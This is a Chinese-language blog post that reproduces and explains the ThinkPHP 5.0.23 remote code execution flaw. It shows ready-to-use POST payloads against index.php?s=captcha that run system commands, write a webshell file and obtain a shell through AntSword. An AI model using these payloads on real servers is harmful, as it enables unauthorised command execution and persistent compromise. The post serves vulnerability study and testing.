1. 程式人生 > 其它 >ThinkPHP(5.0.23-rce)任意程式碼執行漏洞復現及原理

ThinkPHP(5.0.23-rce)任意程式碼執行漏洞復現及原理

漏洞詳情:

攻擊者可向快取檔案內寫入PHP程式碼,導致遠端程式碼執行。根據漏洞利用能得出通過s引數傳遞具體的路由。參考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程圖:

可以得到重要是引數為method和filter。value是傳入的陣列值,由server決定。

解析POC:

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

_method=__construct:呼叫構造方法__construct(),可以覆蓋Request類的任意成員變數,這裡修改了filter和server(value)兩個值,同時覆蓋了method。

filter=system:傳遞filter值,覆蓋原有值。

server[REQUEST_METHOD]=id:在呼叫$this→server('REQUEST_METHOD')時指定了鍵值,所以通過傳入server陣列即可。

method=get:這裡是通過check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules決定,而$rules的值取決於鍵值$method,當我們指定$method為get時,可以正確獲取到路由資訊,從而通過checkRoute()檢查,此時我們通過指定method=get覆蓋$this->method的值即可

大佬的分析太妙了,這樣子之後,我們就可以直接修改filter以及server(value)的值了。將我們需要的值傳遞覆蓋之後,獲取正常的路由資訊,就能返回我們想要的資訊。

漏洞影響版本:

影響 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

漏洞利用:

index.php?s=captcha

漏洞復現:

根據POC我們使用hackbar進行測試,可以執行,後面嘗試獲取phpinfo。

將post值改為:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。

第一步中可以執行system命令,嘗試echo寫入是否可以執行。

將post值改為:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1

可以執行echo,後面嘗試寫入一句話木馬。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php

執行之後頁面無回現,嘗試呼叫ls命令。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

寫入成功,上蟻劍嘗試。

拿到Shell,復現完成。

POC回看:

使用hackbar,

url:/index.php?s=captcha

post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id